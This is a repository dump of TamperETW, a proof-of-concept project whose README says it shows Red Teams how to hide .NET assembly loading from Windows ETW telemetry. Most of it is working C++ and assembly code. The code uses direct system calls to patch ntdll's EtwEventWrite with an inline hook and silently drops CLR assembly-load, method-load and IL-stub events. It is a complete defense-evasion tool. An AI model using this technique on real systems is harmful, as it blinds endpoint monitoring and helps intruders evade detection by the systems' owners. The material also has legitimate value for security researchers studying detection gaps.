Repository: outflanknl/TamperETW Branch: master Commit: afacbbebfb6a Files: 12 Total size: 28.9 KB Directory structure: gitextract_wp22y0sn/ ├── .gitattributes ├── README.md └── TamperETW/ ├── ManagedDLL/ │ ├── ManagedDLL.cs │ ├── ManagedDLL.csproj │ └── Properties/ │ └── AssemblyInfo.cs ├── TamperETW.sln └── UnmanagedCLR/ ├── Syscalls.asm ├── TamperETW.cpp ├── TamperETW.h ├── UnmanagedCLR.vcxproj ├── UnmanagedCLR.vcxproj.filters └── UnmanagedCLR.vcxproj.user ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ # Auto detect text files and perform LF normalization * text=auto ================================================ FILE: README.md ================================================ # TamperETW ## A proof of concept to demonstrate how CLR ETW events can be filtered/tampered MDSec's Adam Chester (@\_xpn\_) recently [published a great blog](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/) on how Red Teams can hide the loading of .NET assemblies by disabling .NET ETW telemetry. In his blog he included proof of concept code which demonstrates how to dismantle ETW telemetry by patching the native EtwEventWrite function. Based on his research, I wrote an x64 version / proof of concept that uses native system calls to place an inline hook on the EtwEventWrite function. By hooking EtwEventWrite and redirecting the program flow to our custom MyEtwEventWrite function, we can intercept the function arguments and inspect or change the data (EVENT_DESCRIPTOR and EVENT_DATA_DESCRIPTOR data structures). We then use the native EtwEventWriteFull function to selectively forward .NET ETW events. In this PoC we block a few ETW (CLR) event from being send, for example assembly loading events (AssemblyDCStart_V1), but with a bit more work it should be possible to spoof the assembly names before being submitted with EtwEventWriteFull. ![alt text](https://github.com/outflanknl/TamperETW/raw/master/TamperETW.png "Proof of Concept") ## Usage: ``` Download the TamperETW folder and execute the TamperETW executable within the x64/releases folder (or recompile from source). When the MessageBox pops up, use Process Explorer or Process Hacker to watch the loaded .NET assemblies (ETW telemetry). ``` ## Credits PoC Author: Cornelis de Plaa ([@Cneelis](https://twitter.com/Cneelis)) / Outflank. Based on research from: Adam Chester ([@\_xpn\_](https://twitter.com/_xpn_)) / MDSec ================================================ FILE: TamperETW/ManagedDLL/ManagedDLL.cs ================================================ using System.Windows.Forms; namespace dllNamespace { public class dllClass { public static int ShowMsg(string msg) { MessageBox.Show(msg); return 0; } } } ================================================ FILE: TamperETW/ManagedDLL/ManagedDLL.csproj ================================================  Debug AnyCPU {1C5D8784-11CF-485B-9197-0727A88377C3} Library Properties ManagedDLL ManagedDLL v4.0 512 true true full false bin\Debug\ DEBUG;TRACE prompt 4 pdbonly true bin\Release\ TRACE prompt 4 ================================================ FILE: TamperETW/ManagedDLL/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("ManagedDLL")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ManagedDLL")] [assembly: AssemblyCopyright("Copyright © 2020")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("1c5d8784-11cf-485b-9197-0727a88377c3")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] ================================================ FILE: TamperETW/TamperETW.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 15 VisualStudioVersion = 15.0.28307.1062 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TamperETW", "UnmanagedCLR\UnmanagedCLR.vcxproj", "{070FC08C-B93E-426A-9C86-48E9C5DBFEA1}" EndProject Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ManagedDLL", "ManagedDLL\ManagedDLL.csproj", "{1C5D8784-11CF-485B-9197-0727A88377C3}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Any CPU = Debug|Any CPU Debug|x64 = Debug|x64 Release|Any CPU = Release|Any CPU Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {070FC08C-B93E-426A-9C86-48E9C5DBFEA1}.Debug|Any CPU.ActiveCfg = Debug|Win32 {070FC08C-B93E-426A-9C86-48E9C5DBFEA1}.Debug|x64.ActiveCfg = Debug|x64 {070FC08C-B93E-426A-9C86-48E9C5DBFEA1}.Debug|x64.Build.0 = Debug|x64 {070FC08C-B93E-426A-9C86-48E9C5DBFEA1}.Release|Any CPU.ActiveCfg = Release|Win32 {070FC08C-B93E-426A-9C86-48E9C5DBFEA1}.Release|x64.ActiveCfg = Release|x64 {070FC08C-B93E-426A-9C86-48E9C5DBFEA1}.Release|x64.Build.0 = Release|x64 {1C5D8784-11CF-485B-9197-0727A88377C3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {1C5D8784-11CF-485B-9197-0727A88377C3}.Debug|Any CPU.Build.0 = Debug|Any CPU {1C5D8784-11CF-485B-9197-0727A88377C3}.Debug|x64.ActiveCfg = Debug|Any CPU {1C5D8784-11CF-485B-9197-0727A88377C3}.Debug|x64.Build.0 = Debug|Any CPU {1C5D8784-11CF-485B-9197-0727A88377C3}.Release|Any CPU.ActiveCfg = Release|Any CPU {1C5D8784-11CF-485B-9197-0727A88377C3}.Release|Any CPU.Build.0 = Release|Any CPU {1C5D8784-11CF-485B-9197-0727A88377C3}.Release|x64.ActiveCfg = Release|Any CPU {1C5D8784-11CF-485B-9197-0727A88377C3}.Release|x64.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {302837D1-D6DF-4790-97CD-55C68E0420B1} EndGlobalSection EndGlobal ================================================ FILE: TamperETW/UnmanagedCLR/Syscalls.asm ================================================ .code ; Reference: https://j00ru.vexillium.org/syscalls/nt/64/ ; Windows 7 SP1 / Server 2008 R2 specific syscalls ZwProtectVirtualMemory7SP1 proc mov r10, rcx mov eax, 4Dh syscall ret ZwProtectVirtualMemory7SP1 endp ZwWriteVirtualMemory7SP1 proc mov r10, rcx mov eax, 37h syscall ret ZwWriteVirtualMemory7SP1 endp ZwReadVirtualMemory7SP1 proc mov r10, rcx mov eax, 3Ch syscall ret ZwReadVirtualMemory7SP1 endp ; Windows 8 / Server 2012 specific syscalls ZwProtectVirtualMemory80 proc mov r10, rcx mov eax, 4Eh syscall ret ZwProtectVirtualMemory80 endp ZwWriteVirtualMemory80 proc mov r10, rcx mov eax, 38h syscall ret ZwWriteVirtualMemory80 endp ZwReadVirtualMemory80 proc mov r10, rcx mov eax, 3Dh syscall ret ZwReadVirtualMemory80 endp ; Windows 8.1 / Server 2012 R2 specific syscalls ZwProtectVirtualMemory81 proc mov r10, rcx mov eax, 4Fh syscall ret ZwProtectVirtualMemory81 endp ZwWriteVirtualMemory81 proc mov r10, rcx mov eax, 39h syscall ret ZwWriteVirtualMemory81 endp ZwReadVirtualMemory81 proc mov r10, rcx mov eax, 3Eh syscall ret ZwReadVirtualMemory81 endp ; Windows 10 / Server 2016 specific syscalls ZwProtectVirtualMemory10 proc mov r10, rcx mov eax, 50h syscall ret ZwProtectVirtualMemory10 endp ZwWriteVirtualMemory10 proc mov r10, rcx mov eax, 3Ah syscall ret ZwWriteVirtualMemory10 endp ZwReadVirtualMemory10 proc mov r10, rcx mov eax, 3Fh syscall ret ZwReadVirtualMemory10 endp end ================================================ FILE: TamperETW/UnmanagedCLR/TamperETW.cpp ================================================ #undef _UNICODE #define _UNICODE #undef UNICODE #define UNICODE // https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime #define ModuleLoad_V2 152 #define AssemblyDCStart_V1 155 #define MethodLoadVerbose_V1 143 #define MethodJittingStarted 145 #define ILStubGenerated 88 #include #include #include #include #include "TamperETW.h" #pragma comment(lib, "mscoree.lib") // mov rax, // jmp rax UCHAR uHook[] = { 0x48, 0xb8, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0 }; ULONG NTAPI MyEtwEventWrite( __in REGHANDLE RegHandle, __in PCEVENT_DESCRIPTOR EventDescriptor, __in ULONG UserDataCount, __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData) { ULONG uResult = 0; _EtwEventWriteFull EtwEventWriteFull = (_EtwEventWriteFull) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "EtwEventWriteFull"); if (EtwEventWriteFull == NULL) { return 1; } switch (EventDescriptor->Id) { case AssemblyDCStart_V1: // Block CLR assembly loading events. break; case MethodLoadVerbose_V1: // Block CLR method loading events. break; case ILStubGenerated: // Block MSIL stub generation events. break; default: // Forward all other ETW events using EtwEventWriteFull. uResult = EtwEventWriteFull(RegHandle, EventDescriptor, 0, NULL, NULL, UserDataCount, UserData); } return uResult; } BOOL InlineHook(LPVOID lpFuncAddress) { PNT_TIB pTIB = NULL; PTEB pTEB = NULL; PPEB pPEB = NULL; // Get pointer to the TEB pTIB = (PNT_TIB)__readgsqword(0x30); pTEB = (PTEB)pTIB->Self; // Get pointer to the PEB pPEB = (PPEB)pTEB->ProcessEnvironmentBlock; if (pPEB == NULL) { return FALSE; } if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) { ZwProtectVirtualMemory = &ZwProtectVirtualMemory10; ZwWriteVirtualMemory = &ZwWriteVirtualMemory10; } else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) { ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1; ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1; } else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) { ZwProtectVirtualMemory = &ZwProtectVirtualMemory80; ZwWriteVirtualMemory = &ZwWriteVirtualMemory80; } else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 3) { ZwProtectVirtualMemory = &ZwProtectVirtualMemory81; ZwWriteVirtualMemory = &ZwWriteVirtualMemory81; } else { return FALSE; } LPVOID lpBaseAddress = lpFuncAddress; ULONG OldProtection, NewProtection; SIZE_T uSize = sizeof(uHook); NTSTATUS status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection); if (status != STATUS_SUCCESS) { return FALSE; } status = ZwWriteVirtualMemory(NtCurrentProcess(), lpFuncAddress, (PVOID)uHook, sizeof(uHook), NULL); if (status != STATUS_SUCCESS) { return FALSE; } status = ZwProtectVirtualMemory(NtCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection); if (status != STATUS_SUCCESS) { return FALSE; } return TRUE; } int wmain(int argc, wchar_t* argv[]) { BOOL bResult = FALSE; HRESULT hr; ICLRMetaHost *pMetaHost = NULL; IEnumUnknown *installedRuntimes = NULL; ICLRRuntimeInfo *runtimeInfo = NULL; ICLRRuntimeHost *runtimeHost = NULL; ULONG fetched = 0; DWORD pReturnValue = 0; LPWSTR lpwMessage = NULL; wprintf(L"[+] Patching EtwEventWrite\n"); LPVOID lpFuncAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), "EtwEventWrite"); // Add address of hook function to patch. *(DWORD64*)&uHook[2] = (DWORD64)MyEtwEventWrite; if (!InlineHook(lpFuncAddress)) { wprintf(L"[!] Error: Patching EtwEventWrite failed...\n"); } wprintf(L"[+] Now Loading CLR...\n"); hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&pMetaHost); if (hr != S_OK) { wprintf(L"[!] Error: CLRCreateInstance...\n"); goto Cleanup; } hr = pMetaHost->EnumerateInstalledRuntimes(&installedRuntimes); if (hr != S_OK) { wprintf(L"[!] Error: EnumerateInstalledRuntimes...\n"); goto Cleanup; } WCHAR versionString[20]; while ((hr = installedRuntimes->Next(1, (IUnknown **)&runtimeInfo, &fetched)) == S_OK && fetched > 0) { DWORD versionStringSize = 20; hr = runtimeInfo->GetVersionString(versionString, &versionStringSize); if (runtimeInfo != NULL) { wprintf(L"[+] Supported Framework: %s\n", versionString); } if (versionStringSize >= 2 && versionString[1] == '4') { // Look for .NET 4.0 runtime. wprintf(L"[+] Using runtime: %s\n", versionString); break; } } hr = runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (void **)&runtimeHost); if (hr != S_OK) { wprintf(L"[!] Error: GetInterface(CLSID_CLRRuntimeHost...) failed...\n"); goto Cleanup; } hr = runtimeHost->Start(); if (hr != S_OK) { wprintf(L"[!] Error: Start runtimeHost failed...\n"); goto Cleanup; } lpwMessage = (LPWSTR)calloc(1, MAX_PATH * 2); wcscpy_s(lpwMessage, 128, L"Hello from .NET Framework: "); wcscat_s(lpwMessage, 64, versionString); wcscat_s(lpwMessage, 128, L"\nCheck ETW telemetry for loaded .NET assemblies."); wprintf(L"\n[+] ====== Calling .NET Code ======\n"); hr = runtimeHost->ExecuteInDefaultAppDomain( L"..\\..\\ManagedDLL\\bin\\Release\\ManagedDLL.dll", L"dllNamespace.dllClass", L"ShowMsg", lpwMessage, &pReturnValue); if (hr != S_OK) { wprintf(L"[!] Error: ExecuteInDefaultAppDomain failed...\n"); goto Cleanup; } wprintf(L"[+] Done\n"); free(lpwMessage); hr = runtimeHost->Stop(); hr = runtimeHost->Release(); Cleanup: if (pMetaHost) { pMetaHost->Release(); pMetaHost = NULL; } return 0; } ================================================ FILE: TamperETW/UnmanagedCLR/TamperETW.h ================================================ #pragma once #include #define STATUS_SUCCESS 0 #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef const UNICODE_STRING* PCUNICODE_STRING; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; PVOID Reserved2[10]; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef struct _API_SET_NAMESPACE { ULONG Version; ULONG Size; ULONG Flags; ULONG Count; ULONG EntryOffset; ULONG HashOffset; ULONG HashFactor; } API_SET_NAMESPACE, *PAPI_SET_NAMESPACE; // Partial PEB typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID IFEOKey; PSLIST_HEADER AtlThunkSListPtr; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ProcessPreviouslyThrottled : 1; ULONG ProcessCurrentlyThrottled : 1; ULONG ProcessImagesHotPatched : 1; ULONG ReservedBits0 : 24; }; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved; ULONG AtlThunkSListPtr32; PAPI_SET_NAMESPACE ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID SharedData; PVOID *ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; ULARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID *ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; } PEB, *PPEB; typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; union { LIST_ENTRY InInitializationOrderLinks; LIST_ENTRY InProgressLinks; }; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; WORD LoadCount; WORD TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef struct _TEB { PVOID Reserved1[12]; PPEB ProcessEnvironmentBlock; PVOID Reserved2[399]; BYTE Reserved3[1952]; PVOID TlsSlots[64]; BYTE Reserved4[8]; PVOID Reserved5[26]; PVOID ReservedForOle; PVOID Reserved6[4]; PVOID TlsExpansionSlots; } TEB, *PTEB; typedef ULONG(NTAPI *_EtwEventWrite)( __in REGHANDLE RegHandle, __in PCEVENT_DESCRIPTOR EventDescriptor, __in ULONG UserDataCount, __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData ); typedef ULONG(NTAPI *_EtwEventWriteFull)( __in REGHANDLE RegHandle, __in PCEVENT_DESCRIPTOR EventDescriptor, __in USHORT EventProperty, __in_opt LPCGUID ActivityId, __in_opt LPCGUID RelatedActivityId, __in ULONG UserDataCount, __in_ecount_opt(UserDataCount) PEVENT_DATA_DESCRIPTOR UserData ); // Windows 7 SP1 / Server 2008 R2 specific Syscalls EXTERN_C NTSTATUS ZwProtectVirtualMemory7SP1(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); EXTERN_C NTSTATUS ZwReadVirtualMemory7SP1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); EXTERN_C NTSTATUS ZwWriteVirtualMemory7SP1(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); // Windows 8 / Server 2012 specific Syscalls EXTERN_C NTSTATUS ZwProtectVirtualMemory80(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); EXTERN_C NTSTATUS ZwReadVirtualMemory80(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); EXTERN_C NTSTATUS ZwWriteVirtualMemory80(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); // Windows 8.1 / Server 2012 R2 specific Syscalls EXTERN_C NTSTATUS ZwProtectVirtualMemory81(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); EXTERN_C NTSTATUS ZwReadVirtualMemory81(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); EXTERN_C NTSTATUS ZwWriteVirtualMemory81(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); // Windows 10 / Server 2016 specific Syscalls EXTERN_C NTSTATUS ZwProtectVirtualMemory10(IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection); EXTERN_C NTSTATUS ZwReadVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); EXTERN_C NTSTATUS ZwWriteVirtualMemory10(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); NTSTATUS(*ZwProtectVirtualMemory)( IN HANDLE ProcessHandle, IN PVOID* BaseAddress, IN SIZE_T* NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection ); NTSTATUS(*ZwReadVirtualMemory)( HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead ); NTSTATUS(*ZwWriteVirtualMemory)( HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten ); ================================================ FILE: TamperETW/UnmanagedCLR/UnmanagedCLR.vcxproj ================================================ Debug Win32 Release Win32 Debug x64 Release x64 15.0 {070FC08C-B93E-426A-9C86-48E9C5DBFEA1} UnmanagedCLR 10.0.17763.0 TamperETW Application true v141 MultiByte Application false v141 true MultiByte Application true v141 MultiByte Application false v141 true MultiByte Level3 Disabled true true Console Level3 Disabled true true Console Level3 MaxSpeed true true true true Console true true Level3 MaxSpeed true true true true Console true true Document ================================================ FILE: TamperETW/UnmanagedCLR/UnmanagedCLR.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Header Files ================================================ FILE: TamperETW/UnmanagedCLR/UnmanagedCLR.vcxproj.user ================================================